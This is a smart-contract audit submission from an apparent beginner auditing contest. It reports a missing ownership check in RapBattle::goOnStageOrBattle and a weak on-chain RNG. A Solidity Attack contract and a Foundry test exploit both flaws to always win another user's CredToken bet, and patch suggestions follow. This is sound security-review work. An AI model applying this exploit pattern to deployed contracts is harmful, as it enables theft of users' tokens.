First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`RapBattle::goOnStageOrBattle` doesn't check for ownership of Rapper NFT for challenger, allowing them to go on stage with other's Rapper NFT

shikhar229169

Summary

  • RapBattle::goOnStageOrBattle allows users to put their rapper on stage as defender and as challenger if defender is already on stage.

  • For defender, Rapper NFT is transferred to RapBattle contract thus assuring that the caller i.e., msg.sender is the owner of that NFT, but for the challenger neither Rapper NFT is transferred nor ownership info is validated (checking is the caller really the owner of that rapper NFT token id), allowing anyone to go on stage with anyone's rapper NFT.

  • Thus, getting the benefits of CredToken by sending anyone's rapper on stage and getting benefits from other's Rapper.

  • Along with that, a non existing rapper tokenId can be used for battle by the challenger and the stats returned by OneShot::getRapperStats will have no relevance.

Vulnerability Details

  • The vulnerability is present at line 50 inside RapBattle contract where it lags the ownership check for the rapper NFT, the challenger will bring on the stage, without any ownership check it allows one to send anyone's rapper on the stage and take advantage from other's rapper of CredToken.

  • For participating in RapBattle it is a crucial step to mint own Rapper NFT train it on the Streets and earn CredToken on the basis of which the rapper get's more skilled and attain points, this being the intended design flow of the protocol.

  • But due to missing ownership check, one can take the advantage of other's rapper NFT in which other's put really hard efforts to train them on the streets practicing with all dedication, hard work, perseverance, patience, consistency. But others can take advantage of other's really hard worked rapper NFT and can send other's rapper on the stage claiming all the CredTokens.

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
​
emit OnStage(msg.sender, _tokenId, _credBet);
​
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
@> _battle(_tokenId, _credBet);
}
}

  • Along, with that one can even pass tokenId which doesn't even exist and the rapper stats returned will be:
    as the value for struct returned will be:

weakKnees: false
heavyArms: false
spaghettiSweater: false
calmAndReady: false
battlesWon: 0

As a result of which the rapper skill points returned by RapBattle::getRapperSkill will be 65 (even though a beginner rapper has 50 score but non existent rapper has 65), thus giving people unfair advantage for rap battle as it is used directly inside RapBattle::_battle function.

Impact

  • One can participate in RapBattle without having their own Rapper NFT, they can send anyone's rapper NFT on stage and due to weak RNG being used they can always win.

  • One can even send non-existent token id for rap battle as OneShot::getRapperStats returns values for rapper stats, and the user will get unfair advantage in rap battle for the rapper skill points as points returned for non-existing rapper token id is 65.

PoC

A user can send anyone's token id on the stage for rap battle, over here we will also take advantage of the weak RNG to always win the rap battle.
Add the following Attack contract in the file test/OneShotTest.t.sol.

Along with exploiting the vulnerability related to no ownership check, the following Attack contract exploits the weak RNG to go for battle only for a favorable outcome and win everytime.

contract Attack {
address private user;
RapBattle private rapBattle;
Credibility private cred;
​
constructor(RapBattle _rapBattle, Credibility _cred) {
user = msg.sender;
rapBattle = _rapBattle;
cred = _cred;
}
​
function attackRapBattle(uint256 tokenId) public returns (bool success) {
require(msg.sender == user);
uint256 defenderSkill = rapBattle.getRapperSkill(rapBattle.defenderTokenId());
uint256 skilledRapperSkill = rapBattle.getRapperSkill(tokenId);
​
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(this)))) % (defenderSkill + skilledRapperSkill);
​
// condition for the challenger user winning
if (random > defenderSkill) {
// call for rap battle challenger
rapBattle.goOnStageOrBattle(tokenId, rapBattle.defenderBet());
cred.transfer(user, cred.balanceOf(address(this)));
return true;
}
​
return false;
}
}

Add the test in the file: test/OneShotTest.t.sol

Run the test:

forge test --mt test_goOnStageOrBattle_AllowsUserToGoOnStageWithOthersRapper -vv

Participants in the protcol:

  • user : person holding rapper NFT who goes to stage first.

  • challenger : another person holding rapper NFT.

  • fakeRapper : The person who doesn't actually hold rapper NFT but uses challenger NFT to go on stage and win CredToken

function test_goOnStageOrBattle_AllowsUserToGoOnStageWithOthersRapper() public twoSkilledRappers {
// `user` participates in rap battle as defender
uint256 userTokenId = 0;
uint256 betAmount = 1;
​
vm.startPrank(user);
​
oneShot.approve(address(rapBattle), userTokenId);
cred.approve(address(rapBattle), betAmount);
rapBattle.goOnStageOrBattle(userTokenId, betAmount);
​
vm.stopPrank();
​
assert(rapBattle.defender() == user);
​
// now the fake rapper joins the rap battle but with the tokenId as input of `challenger` rapper
// fake rapper uses a Attack contract to only allow the call if the outcome is in their favour
// by taking advantage of weak rng
// thus it is also not required by the challenger to hold the CredToken as by taking advantage of weak rng, attacker will always win
​
address fakeRapper = makeAddr("fakeRapper");
uint256 challengerTokenId = 1; // the token id of the genuine rapper
​
vm.startPrank(fakeRapper);
​
Attack attack = new Attack(rapBattle, cred);
// the attack contract will be utilized to call the `goOnStageOrBattle` function
// the attack contract has no rapper nft of its own
// Rap Battle contract doesn't check for ownership of tokenId when challenger comes on the stahe
// allowing them to win cred token by sending anyone's rapper on the stage as challenger
​
assert(oneShot.ownerOf(challengerTokenId) != address(attack));
​
while (true) {
bool isSuccess = attack.attackRapBattle(challengerTokenId);
if (isSuccess) {
break;
}
vm.warp(block.timestamp + 1);
}
​
vm.stopPrank();
​
// attacker contract gets the cred token
assertEq(cred.balanceOf(fakeRapper), betAmount);
console.log("Fake Rapper Balance-", cred.balanceOf(fakeRapper));
}

Tools Used

Manual Review, Unit Test in Foundry

Recommendations

Add an ownership check before allowing challenger to battle with rapper NFT token id.

+ error RapBattle__NotAuthorized();
​
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
​
emit OnStage(msg.sender, _tokenId, _credBet);
​
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
+ if (msg.sender != oneShotNft.ownerOf(_tokenId)) {
+ revert RapBattle__NotAuthorized();
+ }
_battle(_tokenId, _credBet);
}
}

The above recommendation fixes both the impacts discussed due to no ownership checks, as once ownership check is enabled the non-existent token id will not be allowed as msg.sender != address(0) but still as a part of good practice make the OneShot::getRapperStats to revert for non-existent token id.

+ error OneShot__RapperNotFound();
​
function getRapperStats(uint256 tokenId) public view returns (RapperStats memory) {
+ if (_ownerOf(tokenId) == address(0)) {
+ revert OneShot__RapperNotFound();
+ }
return rapperStats[tokenId];
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenger can use any nft to battle - not necessarily theirs

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.